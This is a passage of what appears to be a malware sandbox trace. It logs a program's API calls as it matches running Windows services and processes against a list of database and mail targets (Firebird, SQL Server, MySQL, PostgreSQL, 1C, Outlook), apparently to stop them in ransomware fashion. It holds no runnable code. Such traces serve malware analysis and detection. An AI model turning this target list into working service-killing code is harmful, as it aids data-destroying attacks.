lpString2="Dhcp") returned 1 [0051.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.670] lstrlenW (lpString="Dnscache") returned 8 [0051.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.670] lstrlenW (lpString="DPS") returned 3 [0051.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.670] lstrlenW (lpString="eventlog") returned 8 [0051.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.670] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.670] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.670] lstrlenW (lpString="EventSystem") returned 11 [0051.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.671] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.671] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.671] lstrlenW (lpString="gpsvc") returned 5 [0051.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.671] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.671] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.671] lstrlenW (lpString="iphlpsvc") returned 8 [0051.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.671] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.671] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.671] lstrlenW (lpString="LanmanServer") returned 12 [0051.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.671] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.671] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.671] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.671] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.671] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.672] lstrlenW (lpString="lmhosts") returned 7 [0051.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.672] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.672] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.672] lstrlenW (lpString="MMCSS") returned 5 [0051.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.672] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.672] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.672] lstrlenW (lpString="MpsSvc") returned 6 [0051.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.672] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.672] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.672] lstrlenW (lpString="Netman") returned 6 [0051.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.672] lstrlenW (lpString="netprofm") returned 8 [0051.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.672] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.672] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.672] lstrlenW (lpString="NlaSvc") returned 6 [0051.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.673] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.673] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.673] lstrlenW (lpString="nsi") returned 3 [0051.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.673] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.673] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.673] lstrlenW (lpString="PcaSvc") returned 6 [0051.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.673] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.673] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.673] lstrlenW (lpString="PlugPlay") returned 8 [0051.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.673] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.673] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.673] lstrlenW (lpString="Power") returned 5 [0051.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.673] lstrlenW (lpString="ProfSvc") returned 7 [0051.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.674] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.674] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.674] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.674] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.674] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.674] lstrlenW (lpString="RpcSs") returned 5 [0051.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.674] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.674] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.674] lstrlenW (lpString="SamSs") returned 5 [0051.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.674] lstrlenW (lpString="Schedule") returned 8 [0051.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.674] lstrlenW (lpString="SENS") returned 4 [0051.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.675] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.675] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.675] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.675] lstrlenW (lpString="Spooler") returned 7 [0051.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.675] lstrlenW (lpString="swprv") returned 5 [0051.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0051.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0051.675] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0051.675] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0051.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0051.675] lstrlenW (lpString="SysMain") returned 7 [0051.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.675] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.675] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.675] lstrlenW (lpString="Themes") returned 6 [0051.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.675] lstrlenW (lpString="TrkWks") returned 6 [0051.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.676] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.676] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.676] lstrlenW (lpString="UxSms") returned 5 [0051.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.676] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.676] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.676] lstrlenW (lpString="VSS") returned 3 [0051.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.676] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.676] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.676] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.676] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.676] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.677] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.677] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.677] lstrlenW (lpString="Winmgmt") returned 7 [0051.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.677] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.677] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.677] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0051.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e8 [0051.679] Process32FirstW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.679] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.679] lstrlenW (lpString="System") returned 6 [0051.679] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.679] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.679] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.679] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.680] lstrlenW (lpString="smss.exe") returned 8 [0051.680] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.680] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.680] lstrlenW (lpString="csrss.exe") returned 9 [0051.680] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.680] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.680] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.680] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.681] lstrlenW (lpString="wininit.exe") returned 11 [0051.681] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.681] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.681] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.681] lstrlenW (lpString="csrss.exe") returned 9 [0051.681] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.682] lstrlenW (lpString="winlogon.exe") returned 12 [0051.682] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.682] lstrlenW (lpString="services.exe") returned 12 [0051.682] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.682] lstrlenW (lpString="lsass.exe") returned 9 [0051.682] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.682] lstrlenW (lpString="lsm.exe") returned 7 [0051.682] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.683] lstrlenW (lpString="svchost.exe") returned 11 [0051.683] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.683] lstrlenW (lpString="svchost.exe") returned 11 [0051.683] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.683] lstrlenW (lpString="svchost.exe") returned 11 [0051.683] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.684] lstrlenW (lpString="svchost.exe") returned 11 [0051.684] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.684] lstrlenW (lpString="svchost.exe") returned 11 [0051.684] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.684] lstrlenW (lpString="audiodg.exe") returned 11 [0051.684] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.684] lstrlenW (lpString="svchost.exe") returned 11 [0051.685] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.685] lstrlenW (lpString="svchost.exe") returned 11 [0051.685] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, 